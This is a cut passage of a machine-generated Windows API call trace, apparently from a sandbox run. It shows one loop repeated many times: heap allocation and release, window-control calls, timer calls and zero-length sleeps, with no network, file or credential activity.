Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.293] GetProcessHeap () returned 0x790000 [0033.293] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.293] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.293] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.293] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.293] timeGetTime () returned 0x1143581 [0033.293] Sleep (dwMilliseconds=0x0) [0033.293] GetProcessHeap () returned 0x790000 [0033.293] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.293] GetProcessHeap () returned 0x790000 [0033.293] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.293] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.293] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.293] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.293] timeGetTime () returned 0x1143581 [0033.293] Sleep (dwMilliseconds=0x0) [0033.293] GetProcessHeap () returned 0x790000 [0033.293] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.293] GetProcessHeap () returned 0x790000 [0033.293] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.293] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.293] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.293] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.293] timeGetTime () returned 0x1143581 [0033.293] Sleep (dwMilliseconds=0x0) [0033.293] GetProcessHeap () returned 0x790000 [0033.293] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.293] GetProcessHeap () returned 0x790000 [0033.293] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.293] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.293] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.294] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.294] timeGetTime () returned 0x1143581 [0033.294] Sleep (dwMilliseconds=0x0) [0033.294] GetProcessHeap () returned 0x790000 [0033.294] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.294] GetProcessHeap () returned 0x790000 [0033.294] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.294] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.294] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.294] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.294] timeGetTime () returned 0x1143581 [0033.294] Sleep (dwMilliseconds=0x0) [0033.294] GetProcessHeap () returned 0x790000 [0033.294] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.294] GetProcessHeap () returned 0x790000 [0033.294] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.294] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.294] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.294] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.294] timeGetTime () returned 0x1143581 [0033.294] Sleep (dwMilliseconds=0x0) [0033.294] GetProcessHeap () returned 0x790000 [0033.294] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.294] GetProcessHeap () returned 0x790000 [0033.294] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.294] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.294] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.294] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.294] timeGetTime () returned 0x1143591 [0033.294] Sleep (dwMilliseconds=0x0) [0033.294] GetProcessHeap () returned 0x790000 [0033.294] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.294] GetProcessHeap () returned 0x790000 [0033.294] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.294] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.295] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.295] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.295] timeGetTime () returned 0x1143591 [0033.295] Sleep (dwMilliseconds=0x0) [0033.295] GetProcessHeap () returned 0x790000 [0033.295] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.295] GetProcessHeap () returned 0x790000 [0033.295] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.295] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.295] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.295] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.295] timeGetTime () returned 0x1143591 [0033.295] Sleep (dwMilliseconds=0x0) [0033.295] GetProcessHeap () returned 0x790000 [0033.295] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.295] GetProcessHeap () returned 0x790000 [0033.295] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.295] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.295] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.295] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.295] timeGetTime () returned 0x1143591 [0033.295] Sleep (dwMilliseconds=0x0) [0033.295] GetProcessHeap () returned 0x790000 [0033.295] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.295] GetProcessHeap () returned 0x790000 [0033.295] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.295] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.295] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.295] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.295] timeGetTime () returned 0x1143591 [0033.295] Sleep (dwMilliseconds=0x0) [0033.295] GetProcessHeap () returned 0x790000 [0033.295] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.295] GetProcessHeap () returned 0x790000 [0033.295] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.295] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.295] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.296] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.296] timeGetTime () returned 0x1143591 [0033.296] Sleep (dwMilliseconds=0x0) [0033.296] GetProcessHeap () returned 0x790000 [0033.296] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.296] GetProcessHeap () returned 0x790000 [0033.296] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.296] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.296] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.296] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.296] timeGetTime () returned 0x1143591 [0033.296] Sleep (dwMilliseconds=0x0) [0033.296] GetProcessHeap () returned 0x790000 [0033.296] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.296] GetProcessHeap () returned 0x790000 [0033.296] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.296] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.296] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.296] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.296] timeGetTime () returned 0x1143591 [0033.296] Sleep (dwMilliseconds=0x0) [0033.296] GetProcessHeap () returned 0x790000 [0033.296] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.296] GetProcessHeap () returned 0x790000 [0033.296] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.296] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.296] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.296] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.296] timeGetTime () returned 0x1143591 [0033.296] Sleep (dwMilliseconds=0x0) [0033.296] GetProcessHeap () returned 0x790000 [0033.296] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.296] GetProcessHeap () returned 0x790000 [0033.296] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.296] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.296] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.297] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.297] timeGetTime () returned 0x1143591 [0033.297] Sleep (dwMilliseconds=0x0) [0033.297] GetProcessHeap () returned 0x790000 [0033.297] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.297] GetProcessHeap () returned 0x790000 [0033.297] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.297] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.297] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.297] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.297] timeGetTime () returned 0x1143591 [0033.297] Sleep (dwMilliseconds=0x0) [0033.297] GetProcessHeap () returned 0x790000 [0033.297] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.297] GetProcessHeap () returned 0x790000 [0033.297] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.297] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.297] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.297] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.297] timeGetTime () returned 0x1143591 [0033.297] Sleep (dwMilliseconds=0x0) [0033.297] GetProcessHeap () returned 0x790000 [0033.297] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.297] GetProcessHeap () returned 0x790000 [0033.297] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.297] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.297] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.297] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.297] timeGetTime () returned 0x1143591 [0033.297] Sleep (dwMilliseconds=0x0) [0033.297] GetProcessHeap () returned 0x790000 [0033.297] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.297] GetProcessHeap () returned 0x790000 [0033.297] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.297] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.297] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.298] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.298] timeGetTime () returned 0x1143591 [0033.298] Sleep (dwMilliseconds=0x0) [0033.298] GetProcessHeap () returned 0x790000 [0033.298] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.298] GetProcessHeap () returned 0x790000 [0033.298] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.298] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.298] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.298] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.298] timeGetTime () returned 0x1143591 [0033.298] Sleep (dwMilliseconds=0x0) [0033.298] GetProcessHeap () returned 0x790000 [0033.298] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.298] GetProcessHeap () returned 0x790000 [0033.298] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.298] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.298] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.298] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.298] timeGetTime () returned 0x1143591 [0033.298] Sleep (dwMilliseconds=0x0) [0033.298] GetProcessHeap () returned 0x790000 [0033.298] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.298] GetProcessHeap () returned 0x790000 [0033.298] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.298] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.298] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.298] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.298] timeGetTime () returned 0x1143591 [0033.298] Sleep (dwMilliseconds=0x0) [0033.298] GetProcessHeap () returned 0x790000 [0033.298] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.298] GetProcessHeap () returned 0x790000 [0033.298] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.298] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.298] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.298] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.299] timeGetTime () returned 0x1143591 [0033.299] Sleep (dwMilliseconds=0x0) [0033.299] GetProcessHeap () returned 0x790000 [0033.299] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.299] GetProcessHeap () returned 0x790000 [0033.299] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.299] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.299] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.299] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.299] timeGetTime () returned 0x1143591 [0033.299] Sleep (dwMilliseconds=0x0) [0033.299] GetProcessHeap () returned 0x790000 [0033.299] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.299] GetProcessHeap () returned 0x790000 [0033.299] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.299] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.299] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.299] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.299] timeGetTime () returned 0x1143591 [0033.299] Sleep (dwMilliseconds=0x0) [0033.299] GetProcessHeap () returned 0x790000 [0033.299] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.299] GetProcessHeap () returned 0x790000 [0033.299] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.299] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.299] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.299] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.299] timeGetTime () returned 0x1143591 [0033.299] Sleep (dwMilliseconds=0x0) [0033.299] GetProcessHeap () returned 0x790000 [0033.299] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.299] GetProcessHeap () returned 0x790000 [0033.299] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.299] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.299] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.299] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.299] timeGetTime () returned 0x1143591 [0033.300] Sleep (dwMilliseconds=0x0) [0033.300] GetProcessHeap () returned 0x790000 [0033.300] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.300] GetProcessHeap () returned 0x790000 [0033.300] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.300] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.300] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.300] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.300] timeGetTime () returned 0x1143591 [0033.300] Sleep (dwMilliseconds=0x0) [0033.300] GetProcessHeap () returned 0x790000 [0033.300] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.300] GetProcessHeap () returned 0x790000 [0033.300] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.300] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.300] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.300] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.300] timeGetTime () returned 0x1143591 [0033.300] Sleep (dwMilliseconds=0x0) [0033.300] GetProcessHeap () returned 0x790000 [0033.300] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.300] GetProcessHeap () returned 0x790000 [0033.300] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.300] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.300] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.300] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.300] timeGetTime () returned 0x1143591 [0033.300] Sleep (dwMilliseconds=0x0) [0033.300] GetProcessHeap () returned 0x790000 [0033.300] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.300] GetProcessHeap () returned 0x790000 [0033.300] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.300] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.300] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.300] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.300] timeGetTime () returned 0x1143591 [0033.301] Sleep (dwMilliseconds=0x0) [0033.301] GetProcessHeap () returned 0x790000 [0033.301] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.301] GetProcessHeap () returned 0x790000 [0033.301] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.301] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.301] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.301] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.301] timeGetTime () returned 0x1143591 [0033.301] Sleep (dwMilliseconds=0x0) [0033.301] GetProcessHeap () returned 0x790000 [0033.301] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.301] GetProcessHeap () returned 0x790000 [0033.301] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.301] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.301] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.301] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.301] timeGetTime () returned 0x1143591 [0033.301] Sleep (dwMilliseconds=0x0) [0033.301] GetProcessHeap () returned 0x790000 [0033.301] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.301] GetProcessHeap () returned 0x790000 [0033.301] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.301] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.301] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.301] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.301] timeGetTime () returned 0x1143591 [0033.301] Sleep (dwMilliseconds=0x0) [0033.301] GetProcessHeap () returned 0x790000 [0033.301] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.301] GetProcessHeap () returned 0x790000 [0033.301] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.301] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.301] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.301] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.301] timeGetTime () returned 0x1143591 [0033.302] Sleep (dwMilliseconds=0x0) [0033.302] GetProcessHeap () returned 0x790000 [0033.302] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.302] GetProcessHeap () returned 0x790000 [0033.302] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.302] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.302] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.302] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.302] timeGetTime () returned 0x1143591 [0033.302] Sleep (dwMilliseconds=0x0) [0033.302] GetProcessHeap () returned 0x790000 [0033.302] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.302] GetProcessHeap () returned 0x790000 [0033.302] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.302] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.302] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.302] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.302] timeGetTime () returned 0x1143591 [0033.302] Sleep (dwMilliseconds=0x0) [0033.302] GetProcessHeap () returned 0x790000 [0033.302] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.302] GetProcessHeap () returned 0x790000 [0033.302] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.302] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.302] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.302] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.302] timeGetTime () returned 0x1143591 [0033.302] Sleep (dwMilliseconds=0x0) [0033.302] GetProcessHeap () returned 0x790000 [0033.302] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.302] GetProcessHeap () returned 0x790000 [0033.302] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.302] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.302] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.302] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.302] timeGetTime () returned 0x1143591 [0033.302] Sleep (dwMilliseconds=0x0) [0033.303] GetProcessHeap () returned 0x790000 [0033.303] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.303] GetProcessHeap () returned 0x790000 [0033.303] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.303] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.303] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.303] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.303] timeGetTime () returned 0x1143591 [0033.303] Sleep (dwMilliseconds=0x0) [0033.303] GetProcessHeap () returned 0x790000 [0033.303] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.303] GetProcessHeap () returned 0x790000 [0033.303] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.303] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.303] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.303] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.303] timeGetTime () returned 0x1143591 [0033.303] Sleep (dwMilliseconds=0x0) [0033.303] GetProcessHeap () returned 0x790000 [0033.303] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.303] GetProcessHeap () returned 0x790000 [0033.303] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.303] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.303] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.303] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.303] timeGetTime () returned 0x1143591 [0033.303] Sleep (dwMilliseconds=0x0) [0033.303] GetProcessHeap () returned 0x790000 [0033.303] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.303] GetProcessHeap () returned 0x790000 [0033.303] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.303] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.303] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.303] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.303] timeGetTime () returned 0x1143591 [0033.303] Sleep (dwMilliseconds=0x0) [0033.304] GetProcessHeap () returned 0x790000 [0033.304] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.304] GetProcessHeap () returned 0x790000 [0033.304] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.304] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.304] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.304] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.304] timeGetTime () returned 0x1143591 [0033.304] Sleep (dwMilliseconds=0x0) [0033.304] GetProcessHeap () returned 0x790000 [0033.304] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.304] GetProcessHeap () returned 0x790000 [0033.304] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.304] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.304] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.304] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.304] timeGetTime () returned 0x1143591 [0033.304] Sleep (dwMilliseconds=0x0) [0033.304] GetProcessHeap () returned 0x790000 [0033.304] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.304] GetProcessHeap () returned 0x790000 [0033.304] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.304] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.304] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.304] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.304] timeGetTime () returned 0x1143591 [0033.304] Sleep (dwMilliseconds=0x0) [0033.304] GetProcessHeap () returned 0x790000 [0033.304] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.304] GetProcessHeap () returned 0x790000 [0033.304] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.304] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.304] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.304] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.304] timeGetTime () returned 0x1143591 [0033.304] Sleep (dwMilliseconds=0x0) [0033.305] GetProcessHeap () returned 0x790000 [0033.305] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.305] GetProcessHeap () returned 0x790000 [0033.305] HeapFree (in: 